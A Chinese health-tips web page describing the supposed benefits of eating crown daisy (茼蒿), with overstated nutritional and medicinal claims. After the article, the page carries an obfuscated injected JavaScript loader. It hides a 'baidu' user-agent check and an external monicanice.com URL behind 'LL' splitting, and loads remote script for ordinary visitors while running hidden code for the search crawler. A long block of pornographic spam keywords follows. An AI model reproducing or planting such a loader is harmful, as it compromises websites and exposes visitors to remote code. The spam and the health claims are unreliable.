當前位置:首頁 > 飲食 > 食物營養 > 正文

吃茼蒿有什么好處?茼蒿能強身健體

2016-10-10 11:30:09  來源:360常識網   熱度:
導語:茼蒿性平,味辛甘,適合眾多人群食用。其特殊香味的揮發油和豐富的粗纖維,有助于寬中理氣,消食開胃,增強食欲,潤腸通便;其芬芳的氣味,可以消痰開郁,避穢化濁,醒腦安神。

吃茼蒿有什么好處?茼蒿能強身健體

吃茼蒿有什么好處?茼蒿能強身健體

吃茼蒿有什么好處?

茼蒿有蒿之清氣、菊之甘香,莖葉皆可入食,可葷可素,亦可燒湯,并可涼拌,清香嫩脆,在古代為宮廷佳肴,故又名“皇帝菜”,乃春日餐桌佳品。

茼蒿享有“天然保健品,植物營養素”之美譽,除含有豐富的維生素、胡蘿卜素、鈣、磷、鐵、粗纖維以及揮發油、膽堿等成分外,最大的營養優勢即是所含的氨基酸。

茼蒿不僅含有多種氨基酸,而且有4種為必需氨基酸,其氨基酸含量可謂諸蔬之最,常食能強身健體。

茼蒿性平,味辛甘,適合眾多人群食用。其特殊香味的揮發油和豐富的粗纖維,有助于寬中理氣,消食開胃,增強食欲,潤腸通便;其芬芳的氣味,可以消痰開郁,避穢化濁,醒腦安神。

茼蒿涼拌,功效最佳,可用沸水焯燙,以芝麻油、精鹽、醋、味精調味,清淡可口,最適合冠心并高血壓患者。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
精品国产乱码一区二区三区| 日韩精品久久不卡中文字幕| 亚洲国产精品狼友中文久久久| 亚洲av永久无码精品国产精品 | 日本三区精品三级在线电影| 无码人妻丰满熟妇精品区| 羞羞色院91精品网站| 国产精品久久亚洲不卡动漫| 国产亚洲色婷婷久久99精品91| 欧美精品久久久久a片一二三区| 久久精品中文字幕免费| 免费视频成人国产精品网站| 亚洲国产精品免费观看| 久久久精品波多野结衣AV | 日韩成人国产精品视频| 12345国产精品高清在线| 精品国产日产一区二区三区| mm1313亚洲国产精品美女| 麻豆AV无码精品一区二区 | 中文精品久久久久人妻不卡 | 国产精品资源在线观看| 日韩精品一区二区三区中文精品| 久久精品国产69国产精品亚洲| 一本一本久久a久久精品综合麻豆 一本色道久久88综合日韩精品 | 亚洲精品无码久久久久APP| 99在线观看精品| 亚洲精品无码成人片久久| 日本免费精品一区二区三区| www国产精品内射老熟女| 国产精品夜色一区二区三区| 蜜国产精品jk白丝AV网站| av蓝导航精品导航| caoporn国产精品免费| 在线亚洲精品视频| 亚洲国产精品久久久久秋霞小| 91亚洲精品麻豆| 亚洲欧洲久久精品| 亚洲精品视频久久| 精品无人码麻豆乱码1区2区| 亚洲天堂久久精品| 亚洲国产精品一区|